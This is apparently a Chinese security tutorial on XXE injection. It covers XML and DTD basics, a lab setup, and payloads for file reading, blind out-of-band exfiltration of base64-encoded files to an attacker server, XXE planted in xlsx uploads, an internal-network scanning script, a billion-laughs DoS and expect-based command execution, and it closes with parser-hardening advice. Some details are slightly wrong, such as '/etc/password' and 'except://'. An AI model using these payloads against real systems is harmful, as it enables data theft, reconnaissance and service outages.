初识XXE及其利用小结
XML基础知识:
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
xml文档的构建模块:元素、属性、实体、PCDATA、CDATA
实体:定义普通文本的变量
PCDATA:被解析的字符数据
CDATA:不会被解析的字符数据。
DTD实体:定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
DTD可以在XML文档内声明,也可以外部引用。
内部声明:<!DOCTYPE 根元素 [元素声明]>
外部声明:<!DOCTYPE 根元素 SYSTEM "文件名">
举例:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
实体:一般实体和参数实体。
一般实体的声明语法:<!ENTITY 实体名 "实体内容”>,引用实体的方式:&实体名。
参数实体的声明格式:<!ENTITY % 实体名 "实体内容”>,参数实体只能在DTD中使用。引用实体的方式:%实体名
外部实体声明:<!ENTITY 实体名称 SYSTEM "http://test.test.com/a.dtd">
内部实体声明:<!ENTITY entity-name "entity-value">
读取文本文件:<!ENTITY xxe SYSTEM "file:///etc/password">
XML DTD介绍:
DTD文档类型定义,约束了xml文档的结构。拥有正确语法的XML被称为“形式良好”的XML,通过DTD验证约束XML是“合法”的XML。
示例代码:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE 学生名册 [
<!ELEMENT 学生名册 (学生+)>
<!ELEMENT 学生 (姓名,性别,年龄)>
<!ELEMENT 姓名 (#PCDATA)>
<!ELEMENT 性别 (#PCDATA)>
<!ELEMENT 年龄 (#PCDATA)>
<!ATTLIST 学生 学号 ID #REQUIRED>
]>
上面这个 DTD 就定义了 XML 的根元素是 学生手册,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写
<学生名册>
<学生 学号="a1">
<姓名>张三</姓名>
<性别>男</性别>
<年龄>20</年龄>
</学生>
<学生 学号="a2">
<姓名>李四</姓名>
<性别>男</性别>
<年龄>24</年龄>
</学生>
<学生名册>
除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 XML 中除了能标签以外,还需要有些内容是固定的
示例代码:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE book4yi [
<!ELEMENT book4yi ANY >
<!ENTITY xxe "test123" >]>
这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
<creds>
<user>&xxe;</user>
<pass>password</pass>
</creds>
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test123" 替换。
初识XXE:
- 漏洞介绍:
XXE全称XML External Entity Injection,也就是XML外部实体注入攻击,是对非安全的外部实体数据进行处理时引发的安全问题
- 漏洞原理:
发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码
- 触发点:
1、登录处
2、文件上传处:当目标接受Excel文件进行上传和处理的目标应用程序,则可能存在xxe漏洞
原理:现代Excel文件实际上只是XML文档的zip文件,称为Office Open XML格式或OOXML。
当应用程序处理上传的xlsx文件时需要解析XML,如果解析器未做安全配置,则可能导致xxe漏洞。
- 漏洞验证:
更改test.xlsx文件后缀位test.zip
unzip test.zipvim '[Content_Types].xml'
添加paylaod:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://mkazyh916th6c7sw7qmgbxv87zdp1e.burpcollaborator.net"> ]>
<foo>&xxe;</foo>
重新压缩回去:
zip -r test.xlsx ./*
重新上传文件,发现接收到了服务器的请求,确定漏洞存在
- XXE漏洞消亡原因:
libxml2.9.0以后,默认不解析外部实体
环境搭建:
项目地址:
https://github.com/c0ny1/xxe-lab
无回显xxe:
# blind_xxe.php
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
?>
文件上传处的xxe漏洞验证:
创建一个xlsx文档,更改后缀为zip,使用压缩工具解压缩:
打开Burp Suite Professional,单击Burp菜单并选择“Burp Collaborator client”将其打开,复制到粘贴板
找到Content_Types.xml文件,插入xxe代码到文件中
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gdx7uyvhtysav8fbqbp8xf5utlzcn1.burpcollaborator.net"> ]>
<x>&xxe;</x>
重新压缩为zip文件,更改后缀为xlsx。
上传xlsx文档到目标服务器,如果没有禁用外部实体,就会存在XXE漏洞,burp接收到请求
xxe利用小结:
搭建好环境后我们登录尝试抓包:
可以看到类似标签页信息,如果没有下面的请求头的话可以添加这个头,这样可以让服务器试着解析XML格式
Accept: application/xml, text/xml, */*;
在数据包里面添加XML文档,需要使用&xxe;来引用上面的XXE
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe "book4yi">
]>
<user><username>&xxe;</username><password>admin</password></user>
1、任意文件读取
服务器有回显:
利用POC:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123</password></user>
读取php文件:
直接读取php文件会报错,因为php文件里面有<>//等特殊字符,xml解析时候会当成xml语法来解析。这时候就分不清处哪个是真正的xml语句了
直接利用file协议读取PHP文件,就会产生报错。需要通过base64编码来读取
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/Apache24/htdocs/blind_xxe.php">]>
<user><username>&xxe;</username><password>123</password></user>
base64解码后成功获取php源码:
服务器无回显:
环境:blind_xxe.php
使用http协议将请求发送到远程服务器上,从而获取文件内容
首先在远程服务器写入一个test.dtd文件
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://x.x.x.x:8000/?%file;'>"
>
%all;
VPS服务器开启一个HTTP服务器:
python3 -m http.server
向目标机器发送payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://x.x.x.x:8000/test.dtd">
%dtd;
%send;
]>
大概过程:
首先是读取test.dtd文件,然后调用实体all,实体内容中又会去调用实体send,这里因为实体内容不允许存在%的原因,这里将其进行unicode编码为%,实体send会调用实体file,从而将c:/Windows/win.ini的内容进行base64编码后,将编码后的数据发送到http://x.x.x.x:8000/?{base64}
vps成功接收信息
2、内网探测:
xxe 由于可以访问外部 url,也就有类似 ssrf 的攻击效果,同样的,也可以利用 xxe 来进行内网探测
使用以下POC来探测目标主机,所开的端口,也可以写个python脚本跑
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.107.140:8000">
]>
<user><username>&xxe;</username><password>123</password></user>
在有回显的情况下,如果内网有服务会有响应,否则返回为空
探测端口:
探测内网主机:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.107.140">
]>
<user><username>&xxe;</username><password>123</password></user>
有回显的情况下:
无回显的情况下,主要对比响应时间:
python脚本demo:
import requests
import base64
def build_xml(string):
xml = """<?xml version="1.0" encoding="utf-8"?>"""
xml = xml + "\r\n" + """ <!DOCTYPE ANY ["""
xml = xml + "\r\n" + """ <!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<username>&xxe;</username>"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'}
# x = requests.post('http://192.168.107.140/blind_xxe.php', data=xml, headers=headers, timeout=5, proxies=proxies).text
x = requests.post('http://127.0.0.1/blind_xxe.php', data=xml, headers=headers, timeout=15, proxies=proxies)
xx = x.text
status = x.status_code
coded_string = xx.split(' ')[-2] # a little split to get only the base64 encoded value
print status
print coded_string
# print base64.b64decode(coded_string)
proxies = {
"http": "http://127.0.0.1:8080"
}
for i in range(128,132):
try:
i = str(i)
ip = '192.168.107.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip
print string
build_xml(string)
except:
print "error"
大致的效果如下:
Dos攻击(本地复现失败):
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
当XML解析器加载这个文档时,他会看到它包含一个包含文本&lol9;的根元素,不过&lol9;是一个定义的实体,扩展包含十个&lol8;的字符串,每个&lol8;是一个定义的实体,扩展为十个&lol7;的字符串。因为许多XML解释器在解析XML文档时倾向于将它的整个结果保存在内存中,所以这个不到1kb的xml文件实际包含10亿个lol,占用几乎3GB的内存,造成DDOS攻击。
该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”abc”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。
命令执行:
PHP环境下,xml命令执行要求php装有expect扩展。该扩展默认没有安装。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "except://ipconfig">
]>
本地未测试
防御方法:
1、禁用外部实体
# php:
libxml_disable_entity_loader(true);
# java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
# python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤和验证用户提交的XML数据
不允许XML中含有任何自己声明的DTD
有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可
参考如下:
XXE漏洞
XXE从入门到放弃
XXE的一些利用方式
web安全-文件上传利用
一篇文章带你深入理解漏洞之 XXE 漏洞